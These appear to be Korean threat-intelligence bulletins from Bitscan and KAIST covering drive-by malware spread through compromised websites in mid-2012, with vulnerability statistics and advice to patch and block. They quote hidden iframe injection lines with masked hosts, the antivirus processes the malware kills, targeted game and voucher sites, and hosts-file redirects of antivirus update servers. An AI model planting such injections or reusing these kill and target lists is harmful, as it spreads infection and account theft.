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모든 URL과 차단에 필요한 IP 정보들은 정식 보고서와 브리핑에만 기술 됩니다.

공개 게시물에는 표시 되지 않습니다. 상세한 악성링크의 구조 분석과 실제 악성코드의 행위에 대한 분석들도 보고서에만 기술 되어 있습니다.


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빛스캔과 KAIST 사이버보안연구센터에서 공동 운영하는 보안정보 제공 서비스 7월 3주차 국내 인터넷 환경의 위협 분석 내용이며 본 보고서는 빛스캔의 PCDS( Pre Crime Detect System )의 탐지역량과 KAIST 정보보호대학원, 사이버보안센터의 분석 역량이 결집된 분석 보고서입니다. 매주 수요일 한 주간의 국내 인터넷의 실질적인 위협 동향을 분석하고 대응을 하도록 방향 제시를 하고 있습니다.

본 정보제공 서비스는 국내에서 발생되는 악성코드 유포에 대해 직접적으로 분석을 함으로써 위험의 흐름과 대응에 대해서 알 수 있도록 하기 위한 것이 주된 목적이며, 공격 형태의 변화에 따라, 대규모로 확장 및 개선된 상황을 유지하며 운영되고 있습니다.

본 보고서의 활용 용도는 다음과 같은 활용이 가능합니다.

  1. 악성링크 및 악성코드 유포에 이용되는 IP 대역 차단을 통한 좀비 PC 감염 방지
  1. 악성링크가 공격에 활용에 활용하는 주된 취약성에 대한 내부 보안 강화 정책 - 패치
  1. 내부 감염된 APT 공격의 확인  제거에 활용(기술 분석 문서 참고)


금주 차의 특징은 제로데이(CVE-2012-1889 MS XML Core Service) 취약성 공격은 7월 1주차 악성코드 분석에서 CVE-2012-1889 공격이 96%의 높은 비율을 보였으나 7월 2주차 해당 취약점에 대한 보안패치가 적용되며 31%로 급감한 상황입니다. 그러나 3주차 조사결과 100% 모든 악성링크에서 CVE-2012-1889를 포함한 공격이 이루어지고 있는 것으로 나타나 사용자들이 패치를 하지 않아 아직도 유효한 공격으로 판단 되고 있습니다. 그러므로 사용자들은 MS 패치를 반드시 해야 하며, 기업 및 기관에서는 패치 권고를 즉시 해야 할 것으로 판단 됩니다.




<공격에 사용된 악성링크중 CVE-2012-1889 포함비율>

7월 2주차부터 등장한 CVE-2012-1723을 이용한 공격이 7월 3주차에 들어 빈번하게 관찰되고 있습니다. "Oracle Java Applet Field Bytecode Verifier Cache Remote Code Execution" 으로 알려진 이 취약점인 의도적인 Type Confusion을 유발하여 권한이 상승된 상태에서 신뢰되지 않은 코드가 실행되도록 하여 악성코드를 다운로드 및 실행합니다. 해당 취약점은 2012년 6월 12일 최초 보고 되었으며, 6월 13일 보안 패치가 발표 된 상황입니다. (보안 패치 : http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html )

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<공격에 사용된 악성링크중 CVE-2012-1723 포함비율>


전체 악성링크의 개수가 지난 7월 2주에 비해 감소하였으나, CVE-2012-1723 취약점 이용 링크의 개수는 6배이상 늘어났음을 확인할 수 있다. 전체 공격 취약성 비율에서 Java 관련된(2012-0754, 2011-3544) 공격은 100% 포함되어 있는 것으로 관찰 되고 있습니다.. Java의 취약점을 가장 많이 이용하고 있다는 것은 그만큼 공격성공률이 높다는 것이므로 Java 취약성 관련 최신 패치를 반드시 적용해야 합니다.


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< 전체 악성링크의 감소와 1723 취약성 공격 포함 비율 챠트>


전주 대비 악성링크가 감소했으며 MS 패치로 인한 공격성공률의 감소로 인해 유포범위를 넓히기 위해 20여개의 사이트에 동일한 악성링크가 들어간 MalwareNet이 다시 활성화 되었습니다. 메타블로그 사이트에서도 악성코드를 유포하였기 때문에 많은 블로그 사용자들이 악성코드에 감염 되었을 것으로 추정되고 있습니다.




< 빛스캔의 PCDS에 수집된 Malwarenet 활동 - 1곳의 예  >

금주 차 공격에서 대규모 악성코드 감염을 위해 잘 사용되지 않던 CVE-2012-1723(Oracle Java Applet Field Bytecode Verifier Cache Remote Code Execution) 사용이 발견 되었으며 현재 공격 기법에 대해 전문분석이 진행 중이므로 빠른 시일 내에 전문분석으로 제공 할 수 있도록 하겠습니다.


모든 악성링크들은 초기에 사용자 브라우저 종류 및 버전을 체크하고 그에 맞는 공격 부분으로 분기를 합니다. 공격성공률을 확인하기 위한 통계 정보 수집은 항상 존재하며, 각 IE, Java, Flash 부분에 대한 권한 획득 부분으로 분기하여 그에 맞는 공격코드들을 실행합니다. 그 이후 PC의 권한을 획득하고 최종 악성코드들을 다운로드 하여 PC에 설치하게 됩니다.

금주 공격의 특징은 다음과 같습니다.

  • MalwareNet 재활성화 ( 5~20개 규모의 신규 Malwarenet 출현)
  • 빛스캔의 PCDS를 인지하여 통계사이트만 넣어 전략적인 흐름을 관찰중(10여개 사이트)
  • P2P  언론 매체를 통한 악성코드 유포뿐만 아니라, 호스팅업체, 거래 사이트, 온라인 쇼핑몰, 메타 블로그, ebook 등 다양한 사이트들을 활용한 악성코드 유포가 이루어지고 있다특히 메타 블로그 사이트 같은 경우 블로그의 글들을 모아서 보여주는 사이트에서 악성코드를 유포하여 이번주말에 많은 감염자가 발생됐을거라 예상된다.
  • 최초 악성링크 내에 추가적인 연결 링크들을 갖추고 있는 형태  다양한 취약성을 공격하는 하이브리드 형태의 악성링크 공격 계속
  • 다운로더 및 백도어 형태의 악성코드 유포 증가 – 향후 어떤 방식으로 진화할 지 주목하고 있습니다.
  • 게임 계정 이외에 문화상품권  게임머니 거래 사이트에 대한 계정 탈취 시도가 최초 발견 되었습니다.
  • 대부분의 게임 계정 탈취  백신 서비스 killing 계속 되었으며계정 탈취는 BHO 이용한 유형이 가장 많이 발견 되고 있어 해당 부분에 대한 전문분석은 6월 2주차에 전달해드린 악성 BHO 파일 분석에 자세히 기술되어 있습니다.
* 유포지와 중계지의 의미는 사용자 관점 이나 악성링크의 관점에서 다를 수 있습니다. 저희는 사용자 관점에서 웹 서핑시 방문한 웹서비스가 문제가 있어서 감염이 된다면 직접 방문한 사이트는 ‘ 악성코드 유포지’ , 악성코드를 받아 오게 하는 임의의 주소를 ‘ 악성링크’ , 최종 사용자에게 감염을 일으키는 파일 자체를 ‘악성코드’라고 정의 하고 있습니다.


금주 공격에 사용되었던 MalwareNet의 악성링크는 전자 카탈로그 솔루션 전문업체인 eyecatalog 이며, 메타블로그 사이트를 포함하여 20여개의 곳에서 동시에 악성코드 유포에 활용되었습니다. 악성링크로 직접 이용 됨에 따라 기술보고서에는 실제 링크가 기술되어 있습니다. 악성링크로 이용된 경로는 xxxxxxx.co.kr/catalog/xxx.js 입니다. 내부 소스를 보시면 다음과 같은 코드를 확인할 수 있습니다.
7월 20일 23시 05분 <iframe src='http://xxxxx.info/bei/index.html' width='100' height='0' frameborder='0'></iframe>
7월 22일 13시 43분 <iframe src='http://xxxxx1.info/bei/index.html' width='100' height='0' frameborder='0'></iframe>
7월 24일 15시 21분 <iframe src='http://xxxx2.info/beilei/index.html ' width='100' height='0' frameborder='0'></iframe>


해당 코드는 XML 취약점인 CVE-2012-1889, Java 취약점인 CVE-2012-0507, CVE-2011-3544이 사용되고 있으며 게임 계정 탈취에 악용되고 있습니다.
사용자 PC에 대한 직접적인 공격을 일으키는 취약성은 복합적으로 사용되고 있으며, 지금까지 많은 비중을 차지 하였던 MS XML 취약성 공격을 대폭 감소되었고 Java 취약성 및 Flash 취약성 공격은 예전과 같은 비율이나 상대적으로 높은 비율을 보이고 있습니다.
사용자 PC에 설치되는 악성코드들은 항상 백신을 우회해서 설치가 되고 또 계속해서 변형들이 출현하고 있는 현 상황에서 웹 서핑만 해도, 웹 서비스에 방문만 해도 감염이 되는 공격코드들은 창궐하고 있습니다.


현재 모든 솔루션들은 사후 대응에 중점을 두고 있는데, 가장 중요한 것은 사전에 대응이 되는 것이냐가 핵심입니다. 또한 발생 가능한 위험을 얼마나 컨트롤 할 수 있는지가 핵심이라 할 수 있으며, 문제 해결책을 찾을 수 있을 것입니다. 이번 XML 사안에서 보듯이 3주 가량 무방비 상태에서 노출이 되었으며 단 3주 만에 공격자들은 해당 취약성을 대거 이용하는 형태를 보일 정도로 빠른 적응력을 보이고 있습니다. 또한 현재에도 계속 취약점이 사용된다는 것은 사용자들이 업데이트를 하지 않고 있다는 것입니다. 반드시 패치하시기 바랍니다. 향후에도 패치가 없는 제로데이 출현 시 빠르게 공격에 활용 될 것으로 보이므로 사후 대응 측면보다는 사전에 위협을 제거할 수 있는 선제적인 대응력이 핵심이 되어야 할 것입니다.
  • Oracle Java 취약성, Adobe Flash 취약성 , MS의 XML , Midi 및 IE 취약성이 같이 사용 되어 공격 성공 비율을 높이는 경우가 꾸준히 관찰 되고 있으므로 전체 보안 수준 관리에 노력을 기울일 필요가 있습니다. 특히 패치가 발표된 MS XML (CVE 2012-1889) 취약성의 경우 업데이트를 하지 않은 분은 반드시 업데이트를 적용 하시기 바랍니다.

  • 기술분석 보고서에 기술된 루트킷 및 키로거, 백도어 기능을 가진 악성코드들은, 사용자 PC의 드라이버 및 시스템 파일 교체, 윈도즈 서비스 등록등을 실행하고, 내부망 스캔 및 키로깅 그리고 외부에서 명령을 대기하는 행위가 지속 관찰 되고 있어서 위험성이 높습니다. 또한 백도어 기능의 설치 시에는 시스템상의 백신 프로세스 Kill 이후에 루트킷 형태를 설치하고 이후 다운로드 받은 모든 악성코드와 실행 주체를 삭제하여 정체를 은폐하고 있으므로 사전 대응에 만전을 기하세요.
  • 기술분석보고서에 언급된 게임계정 유출 악성코드들은 전체 악성코드의 80% 이상이 이용되고 있어서 현재 공격자들이 주력하는 부분으로 판단됩니다. 모두 시스템에서의 백신 프로세스를 중지 시키고 국내.외 거의 모든 게임에 대한 프로세스를 지속적으로 모니터링 하고 있으며 현재 목적은 게임계정 탈취로 보여지고 있으나 언제든 외부 도메인 연결과 업데이트를 통해 다른 형태로 전환이 될 수 있습니다.



Diablo III에 대한 공격이 추가된 게임 계정 모니터링 및 백신 Kill 항목, 게임 머니 및 문화상품권 정보 탈취 계속

* 본 내용은 최근의 악성코드들이 기본적으로 탑재하고 있는 기능이며 6월 4주차 까지 발견 되었던 백신과 게임 계정 탈취 이외에도 문화상품권과 게임 머니 사이트에 대한 계정 탈취 기능이 추가 되어 계속 활용 되고 있습니다. 정보유출 수준이 상당 수준으로 판단 되고 있습니다.

프로세스명

프로그램명

백 신

sgbider.exe, vcsvc.exe

vcsvcc.exe

바이러스체이서

NVCAgent.npc, nsvmon.npc

Nsavsvc.npc, NaverAgent.exe

네이버백신

V3LRun.exe, MUpdate2.exe

SgSvc.exe

V3Light.exe, V3LTray.exe

V3LSvc.exe

V3

AYUpdSrv.aye,

AYRTSrv.aye, SkyMon.exe

AYServiceNT.aye

AYupdate.aye, AyAgent.aye

알약

PCOTP.exe

넥슨 OTP

게 임

gamehi.co.kr

게임하이

hangame.com

한게임

netmarble.net

넷마블

Raycity.exe

레이시티

ff2client.exe

피파 온라인2

pmang.com

피망

df.nexon.com, dnf.exe

던전 앤 파이터

DragonNest.exe, dragonnest.nexon.com

드래곤 네스트

WinBaram.exe, baram.nexon.com

바람의 나라

heroes.exe

마비노기 영웅전

wow.exe

월드 오브 워크래프트

lin.bin

리니지

MapleStory.exe

메이플 스토리

clubaudition.ndolfin.com

클럽 오디션

www.capogames.netsamwinfo.capogames.net

삼국지w

Diablo III.exe

디아블로III

게임머니&문화상품권

www.booknlife.com

북앤라이프

www.cultureland.co.kr

컬쳐랜드

www.happymoney.co.kr

해피머니

www.teencach.co.kr

틴캐시

본 보고서에 기술되는 내용들은 이메일등을 이용한 소규모 침투가 아니라 웹서비스를 통한 대량 유포 및 감염입니다.

웹서비스 방문만으로도 감염이 되는 상황에 대한 설명이므로 강도 높은 주의가 필요한 상황입니다.


금주 공격에 사용된 취약성 비율

상세 분석 진행에 따라 취약성 판정 비율이 일정 부분 달라지고 있습니다만 큰 흐름은 차이가 없습니다.

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- CVE-2012-0507(
 14건, 24.6%) Java Applet 취약성 - Java Web start 취약성

http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html

- CVE 2011-3544(14건, 24.6% ) Java Applet 취약성

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3544

- CVE 2012-1889(14건, 24.6%) MS XML Core Service 취약성

http://technet.microsoft.com/ko-kr/security/advisory/2719615

- CVE 2012-0754 (3건, 5.3%) Flash 취약성 –

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0754

- CVE-2012-1723 (12건, 21.1%) 자바 애플릿 취약점

http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html


취약성 비율을 살펴 보시면 아시겠지만 XML 서비스에 대한 공격은 여전히 유효하며 Java 취약성들이 적극적으로 활용 되고 있는 상태를 확인 할 수 있습니다.

금주의 차단 추가 영역은 다음과 같습니다. 아래 영역은 이미 공격자가 권한을 통제하고 있는 IP대역들이며 해당 IP 대역들은 이전 리스트에서도 계속 재활용이 되고 있습니다. 기업 및 기관에서는 해당 IP 대역 차단 이후 ( 업무 관련성 여부에 대해서는 각 기관 및 기업별 검토 필요) 차단 수치에 대해서 살펴 보시면 현재 상태의 위험이 얼마나 되는지 실감 하실 수 있으시며 매우 높은 수치임을 아실 수 있습니다.

악성링크에 이용 되는 미국의 EGI Hosting 사의 IP 대역 상당수를 직접 악성링크로 활용한 사례가 발견 되어 해당 IP 대역에 대해 강력한 차단을 유지하실 것을 권고 합니다.


차단 권고 대역

* 기술 분석 보고서에는 별도의 차단 대역들이 존재하니 참고 하시고 사안별로 모니터링 및 차단에 적극 활용 바랍니다.


현재 공격자들도 전략적인 움직임을 보이고 있어서 공개적으로 IP 대역을 알리는 부분은 보고서 구독 고객에게만 한정하여 제공될 예정입니다. 또한 어떤 방식으로든 빛스캔의 악성링크 탐지와 분석 내용에 대해서 인지를 일부 하고 있는 것으로 판단 됩니다. 또한 금주의 총평으로는 제로데이의 패치, CVE-2012-1723으로 인한 MalwareNet의 재활성화 및 관찰입니다. 향후에도 이번 XML 관련 제로데이 사례에서 보듯 신규 취약성을 이용하는 사례는 계속 발생할 것으로 예상되고 있습니다. 대규모 유포 시도에 대해서 활용 된다면 언제나 가장 먼저 정보 제공이 가능함을 약속 드립니다.



본 정보제공 서비스는 공개, 배포 금지( 내부에서만 활용), 비영리 목적으로만 활용 가능합니다.


공익적인 목적으로 기관에 제공 되는 서비스들은 내부 사정에 의해 언제든 종료 될 수 있습니다.

감사합니다.


*시범 서비스는 순차적으로 1개월 경과시 종료 됩니다. 4회 이상을 보고서를 받으셨다면 그 이전에 정식 구독서비스를 신청하셔야 보고서가 누락되지 않습니다. KAIST CSRC 주간보안동향 보고서는 1p 짜리의 요약형태로 작성이 되며 무료 배포가 가능합니다. 해당 서비스의 신청은csyong95@kaist.ac.kr 로 신청 하시면 됩니다.


* 정식 구독 서비스 가입 및 시범 서비스 신청은 info@bitscan.co.kr 이며 기관명/ 담당자/ 연락처 기재가 필요하며 시범은 기관/기업별 1회에 한정 합니다. 본 서비스의 권리는 빛스캔에 있으므로 공개적 활용 및 영리적 목적으로 활용 하실 수 없습니다.


* 본 분석은 악성링크 자체의 수집은 빛스캔의 PCDS (Pre crime detect system)를 통해 수집하며, 악성링크 및 악성코드 분석은 KAIST 사이버보안연구센터, 정보보호대학원과 공동으로 진행합니다.


Posted by 바다란

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지금의 상황은 폭풍우가 내리치는 벌판에서 홀로 서 있는 사람이 있고 비를 막을 수 있는 것은 우산 ( 보안제품)과 우의 ( 보안패치) 밖에 없는 상황입니다.

그러나 내리는 비는 우산을 피해서 ( 보안제품을 우회) 안으로 들어오고 우의를 쓰지 않은 얼굴에만 집중적으로 ( 패치가 없는 제로데이) 비바람이 몰아치고 있습니다.

이 비바람은 멈추지 않습니다. 더 큰 우산을 쓰거나, 아킬레스건과도 같은 취약한 부분이 보강 되지 않는다면 앞으로는 더 심각한 상황을 마주하게 될 것입니다.


지금도 충분히 심각하지만 주도권 자체가 넘어 갈 수 있는 상황임을 반드시 인식 하여야 할 부분이라 생각 됩니다. 


심각성이 어느 정도인지 6월 4주차 브리핑 살펴 보겠습니다.



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빛스캔과 KAIST 사이버보안연구센터에서 공동 운영하는 보안정보 제공 서비스 6월 4주차 국내 인터넷 환경의 위협 분석 내용이며 본 보고서는 빛스캔의 PCDS ( Pre Crime Detect System)의 탐지역량과 KAIST 정보보호대학원. 사이버보안센터의 분석 역량이 결집된 분석 보고서 입니다. 매주 수요일 한 주간의 국내 인터넷의 실질적인 위협 동향을 분석하고 대응을 하도록 방향 제시를 하고 있습니다.


본 정보제공 서비스는 국내에서 발생되는 악성코드 유포에 대해 직접적으로 분석을 함으로써 위험의 흐름과 대응에 대해서 알 수 있도록 하기 위한 것이 주된 목적이며, 공격 형태의 변화에 따라, 대규모로 확장 및 개선된 상황을 유지하며 운영 되고 있습니다.


본 보고서의 활용 용도는 다음과 같은 활용이 가능합니다.


1. 악성링크 및 악성코드 유포에 이용되는 IP 대역 차단을 통한 좀비 PC 감염 방지

2. 악성링크가 공격에 활용하는 주된 취약성에 대한 내부 보안 강화 정책 - 패치

3. 내부 감염된 APT 공격의 확인 및 제거에 활용 ( 기술 분석 문서 참고)


* 보고서 내용 중에 기술분석 보고서에는 악성링크의 유형과 실제 감염을 시키는 악성코드의 타입에 따라 보고서가 기술 되어 있습니다. 각각은 별개 이므로 악성링크 ( 사용자 PC에 악성코드를 내리기 위한 공격코드 )에 대한 분석과 실제 악성코드의 행위와 기능에 대한 분석은 별개 이므로 보고서 구독 시에 참고 하세요. 각각의 악성링크의 분석에는 최종 다운로드 되는 악성코드까지 기술이 되어 있습니다. 금주 차에는 악성코드가 시스템에 설치되고 난 이후의 악의적인 행동들에 대한 전문 분석도 포함 되어 있습니다. 전문분석은 Professional Service를 받는 고객사가 생기는 즉시 해당 고객사에만 전달이 됩니다. 참고 하세요.



금주 차의 특징은 제목에 기술되었듯이 패치가 없는 제로데이 (CVE 2012-1889 MS XML Core Service)의 대공습으로 정의가 됩니다.

전주 대비 제로데이 관련된 악성링크가 대폭 증가된 비율을 보이고 있으며 활발하게 활동을 하고 있습니다. 6월 3주차 최초로 대규모 유포 시도가 탐지된 이후 Malware-net의 활동은 대규모로 감소된 형태를 보이고 있으며 여전히 관찰은 계속 진행 하고 있습니다. Malware-net에 대한 상위 3개의 정보를 이미 제공 드렸고, 현재는 해당 Malware-net들은 활동이 중지된 상태로 판단됩니다. 그러나 단 1일만에 200여개 이상의 웹 서비스들에 순식간에 추가된 형태로 볼 때 향후 언제든 재발 할 수 있다고 판단 하고 있습니다.


공격자들에 대해서 언급 할 때 항상 언급 하는 것이 “비용 대비 효과” 입니다. 이전까지는 최대 6가지 이상의 취약성을 공격하는 형태였으며 이 공격의 성공률은 60% 가량이라고 빛스캔에서 공격로그를 통해 입증한 바가 있습니다. 지난 주에 새로운 공격기법으로 장착된 제로데이 ( 2012-1889) 공격으로 인해 공격 성공률은 대폭 높아졌을 것으로 예상되며, 국내 IE 사용자 비율로 보았을 때 상당한 규모의 감염이 예상 됩니다. 금주에 대량으로 발견된 악성링크의 구조는 6월 3주차 발송 메일에 포함된 이미지가 잘 표현을 하고 있습니다.





< 공격링크의 구조>


모든 악성링크들은 초기에 사용자 브라우저 종류 및 버전을 체크하고 그에 맞는 공격 부분으로 분기를 합니다. 공격성공률을 확인하기 위한 통계 정보 수집은 항상 존재하며, 각 IE, Java, Flash 부분에 대한 권한 획득 부분으로 분기하여 그에 맞는 공격코드들을 실행합니다. 그 이후 PC의 권한을 획득하고 최종 악성코드들을 다운로드 하여 PC에 설치하게 됩니다. 이 성공률이 제로데이 출현 이전에는 60%( 10명중 6명 감염) , 현재 적극적 활용 단계에서는 최소 90% 수준으로 예상이 되고 있습니다. 제로데이 출현 이전에는 공격 성공률과 범위 확대를 위해 대규모 Malware-net을 운영하고 적극적으로 활용 하였으나, 지금 상황에는 Malware-net을 운영하지 않아도 충분한 공격효과를 거둘 수 있으므로 적극적인 범위의 확대를 하지 않는 것으로 보입니다.

금주 공격의 특징은 다음과 같습니다.

  • Malware-Net 활동의 축소 ( 공개에 따른 대응도 영향을 미쳤을 것으로 판단 됩니다. ) 및 제로데이 취약성 공격 활용 급증
  • 파일공유, 언론사, 커뮤니티, 연예기획사, 호스팅업체, K-pop 웹서비스, 부동산 서비스, 포털 등을 통한 적극적인 악성코드 유포
    • 본 공격들은 대부분 MS 제로데이 공격코드가 사용자에게 유포 되었으며, 본 건과 관련된 기사 예정 되어 있습니다.
    • 금주 파악된 MS 제로데이 유포와 연관된 내용은 29종의 악성링크가 총 90여개 이상의 웹 서비스들에서 중계 되었습니다.
  • 최초 악성링크 내에 추가적인 연결 링크들을 갖추고 있는 형태 및 다양한 취약성을 공격하는 하이브리드 형태의 악성링크 구조 확대
  • 자유자재로 웹서비스 소스코드에 악성링크의 추가 및 삭제, 악성 코드 분석 방해를 위한 기법 강화

  • * 유포지와 중계지의 의미는 사용자 관점 이나 악성링크의 관점에서 다를 수 있습니다. 저희는 사용자 관점에서 웹 서핑시 방문한 웹서비스가 문제가 있어서 감염이 된다면 직접 방문한 사이트는 ‘ 악성코드 유포지’ , 악성코드를 받아 오게 하는 임의의 주소를 ‘ 악성링크’ , 최종 사용자에게 감염을 일으키는 파일 자체를 ‘악성코드’라고 정의 하고 있습니다.



    사용자 PC에 대한 직접적인 공격을 일으키는 취약성은 복합적으로 사용 되고 있으며, 지금까지 많은 비중을 차지 하였던 Java 취약성 및 Flash 취약성 공격은 소폭 감소한 반면, MS의 XML 취약성 공격코드는 대폭 증가된 형태를 보이고 있습니다. 지금 까지는 패치가 있는 부분이라 패치를 권고 드렸으나 현재 2012-1889 취약성에 대해서는 패치가 없는 상태이며 임시 대응책만 존재하는 형태라 심각성이 매우 높습니다. 사용자 PC에 설치 되는 악성코드들은 항상 백신을 우회해서 설치가 되고 또 계속해서 변형들이 출현 하고 있는 현 상황에서 웹 서핑만 해도, 웹 서비스에 방문만 해도 감염이 되는 공격코드들은 창궐 하고 있습니다. 항상 말씀 드렸듯이 지금과 같은 상황을 가장 염려하고 있으며 사후 대응이 아닌 사전 대응에 중점을 두어야 된다고 주장한 강력한 원인이기도 합니다.



    현재 모든 솔루션들은 사후 대응에 중점을 두고 있는데, 가장 중요한 것은 사전에 대응이 되는 것이냐가 핵심입니다. 또한 발생 가능한 위험을 얼마나 컨트롤 할 수 있는지가 핵심이라 할 수 있으며, 문제 해결책을 찾을 수 있을 것입니다. 패치가 없는 상태에서 대량 공격 방안을 가지고 있는 공격자들에게 대항 할 수 있는 대책은 그리 많지 않아 보입니다. 향후에도 대책 없는 공격의 확산은 계속 될 것이고 이제 시작된 것입니다. “이제 가장 우려 했던 위협들이 시작 되었습니다.”



    • Oracle Java 취약성, Adobe Flash 취약성 , MS의 XML , Midi 및 IE 취약성이 같이 사용 되어 공격 성공 비율을 높이는 경우가 꾸준히 관찰 되고 있으므로 전체 보안 수준 관리에 노력을 기울일 필요가 있습니다. 특히 패치가 없는 상태의 MS XML (CVE 2012-1889) 취약성의 경우 반드시 임시 예방책이라도 적용 하실 것을 권고 드립니다.
    • 기술분석 보고서에 기술된 루트킷 및 키로거, 백도어 기능을 가진 악성코드들은, 사용자 PC의 드라이버 및 시스템 파일 교체, 윈도즈 서비스 등록등을 실행하고, 내부망 스캔 및 키로깅 그리고 외부에서 명령을 대기하는 행위가 지속 관찰 되고 있어서 위험성이 높습니다. 또한 백도어 기능의 설치 시에는 시스템상의 백신 프로세스 Kill 이후에 루트킷 형태를 설치하고 이후 다운로드 받은 모든 악성코드와 실행 주체를 삭제하여 정체를 은폐하고 있으므로 사전 대응에 만전을 기하세요. 또한 금주 전문분석에는 악성코드의 시스템 다운로드 이후의 악의적인 행위들에 대해서 분석된 내용이 전달 됩니다.

    • 기술분석보고서에 언급된 백도어들은 상당히 많은 악성링크들이 이용되고 있어서 현재 공격자들이 주력하는 부분으로 판단됩니다. 모두 시스템에서의 백신 프로세스를 중지 시키고 국내.외 거의 모든 게임에 대한 프로세스를 지속적으로 모니터링 하고 있으며 현재 목적은 게임계정 탈취로 보여지고 있으나 언제든 외부 도메인 연결과 업데이트를 통해 다른 형태로 전환이 될 수 있습니다.
    • 6월 2주차 보고서에 언급 되었던 백신 업데이트 방해를 위한 Host 파일 변조 코드가 유포 되었으며, 본 내용의 경우 신규 제로데이를 이용한 악성코드를 탐지하고 대응 하려는 백신의 역할에 대해 제한을 두고, 목적을 달성 하기 위한 것으로 판단 됩니다.


    백신 업데이트 방해를 위한 Host 파일 변조 내용


    백신 업데이트 서버

    변경 IP

    vaccine.dn.naver.com

    49.111.xxx.36

    explicitupdate2.alyac.co.kr

    125.234.xxx.36

    liveupdate2.alyac.co.kr

    105.105.xxx.37

    explicitupdate.alyac.co.kr

    85.109.xxx.37

    ko-kr.alupdatealyac.altools.com

    241.88.xxx.37

    su.ahnlab.com

    45.135.xxx.37

    gms.ahnlab.com

    21.110.xxx.37

    update.ahnlab.com

    33.55.xxx.37



    Diablo III에 대한 공격이 추가된 게임 계정 모니터링 및 백신 프로세스 Kill 항목

    프로세스명

    프로그램명

    백 신

    sgbider.exe, vcsvc.exe

    vcsvcc.exe

    바이러스체이서

    NVCAgent.npc, nsvmon.npc

    Nsavsvc.npc, NaverAgent.exe

    네이버백신

    V3LRun.exe, MUpdate2.exe

    SgSvc.exe

    V3Light.exe, V3LTray.exe

    V3LSvc.exe

    V3

    AYUpdSrv.aye,

    AYRTSrv.aye, SkyMon.exe

    AYServiceNT.aye

    AYupdate.aye, AyAgent.aye

    알약

    PCOTP.exe

    넥슨 OTP

    게 임

    gamehi.co.kr

    게임하이

    hangame.com

    한게임

    netmarble.net

    넷마블

    Raycity.exe

    레이시티

    ff2client.exe

    피파 온라인2

    pmang.com

    피망

    df.nexon.com, dnf.exe

    던전 앤 파이터

    DragonNest.exe

    드래곤 네스트

    WinBaram.exe

    바람의 나라

    heroes.exe

    마비노기 영웅전

    wow.exe

    월드 오브 워크래프트

    lin.bin

    리니지

    MapleStory.exe

    메이플 스토리

    Diablo III.exe

    디아블로III



    본 보고서에 기술되는 내용들은 이메일등을 이용한 소규모 침투가 아니라 웹서비스를 통한 대량 유포 및 감염입니다.

    현재 패치가 없는 상태에서의 대응책은 “웹 서핑 금지” 라고 해야 될 것인지 심각한 상황입니다.



    금주 공격에 사용된 취약성 비율


    상세 분석 진행에 따라 취약성 판정 비율이 일정 부분 달라지고 있습니다만 큰 흐름은 차이가 없습니다.. 공격이 많이 복잡한 형태를 띄고 있어서 정확한 CVE 판정이 어려운 상황도 발생 되고 있는 상황입니다.



    - CVE 2011-3544 ( 25.4%) Java Applet 취약성

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3544

    - CVE 2012-0507 ( 25.4%) Java Applet 취약성 - Java Web start 취약성

    http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html

    - CVE 2012-1889( 22.2%) MS XML Core Service 취약성

    http://technet.microsoft.com/ko-kr/security/advisory/2719615

    - CVE 2012-0003 (13.5%) Windows Midi 취약성 –

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0003

    - CVE 2012-0754 (13.5%) Flash 취약성 –

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0754

    - CVE 2010-0249 (1%) IE 취약성 –

    - http://www.microsoft.com/technet/security/Bulletin/MS10-002.mspx

    - CVE 2010-0806 (0%) IE 취약성 ( IE 6,7 대상)

    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0806

    - CVE 2011-2140 (0%) Adobe Flash 취약성

    http://www.adobe.com/support/security/bulletins/apsb11-21.html

    취약성 비율을 살펴 보시면 아시겠지만 MS 제로데이 취약성에 대한 공격은 전주 대비 급증한 비율을 볼 수 있습니다. 전주의 공격 시에 효과가 좋았던 것으로 판단되며 금주 차 공격에 대거 활용한 형태를 볼 수 있습니다. 더불어 효율이 낮은 공격들은 제외된 것으로 판단 됩니다. 공격자들은 효과적으로 공격을 시행 하고 있으며, 공격 기법의 변화로 살펴 볼 때 MS 관련된 제로데이 공격이 매우 효과가 좋았던 것으로 추정이 되고 있어서 심각도가 높은 수준으로 상향 되어야 할 것 같습니다. 또한 MS의 XML 서비스 공격이 대규모로 확산 되고, 사용자 PC에 영향을 직접적으로 미치고 있다는 것을 인지 하지 못하고 있는 상태라 대응도 느린 것 같아 당분간 패치 발표 이전까지는 빛스캔에서 상당 수준의 정보를 오픈 하여 대응 및 후속 대책 마련을 촉구하도록 하겠습니다.



    금주의 차단 추가 영역은 다음과 같습니다. 아래 영역은 이미 공격자가 권한을 통제하고 있는 IP대역들이며 해당 IP 대역들은 이전 리스트에서도 계속 재활용이 되고 있습니다. 기업 및 기관에서는 해당 IP 대역 차단 이후 ( 업무 관련성 여부에 대해서는 각 기관 및 기업별 검토 필요) 차단 수치에 대해서 살펴 보시면 현재 상태의 위험이 얼마나 되는지 실감 하실 수 있으시며 매우 높은 수치임을 아실 수 있습니다.



    차단 권고 대역


    * 기술 분석 보고서에는 별도의 차단 대역들이 존재하니 참고 하시고 사안별로 모니터링 및 차단에 적극 활용 바랍니다.

     

    공개지면 생략


    * 악성코드 감염 이후 접속 URL - 차단 및 모니터링 필요한 부분

    - 이 부분에 대해서 설명을 제대로 드리지 않았는데 본 내용은 악성코드가 PC에 감염된 이후에 외부로 연결 시도를 하고 명령을 받는 주소들입니다. 즉 C&C 연결을 시도하는 봇넷과 같은 개념으로 볼 수 있습니다. C&C 서버의 차단과 관련된 핵심적인 내용이 되겠습니다. 본 내용의 경우에도 외부에는 제공 되지 않습니다. 차후 별도 서비스로 운영이 될 수 있습니다.


     공개지면 생략



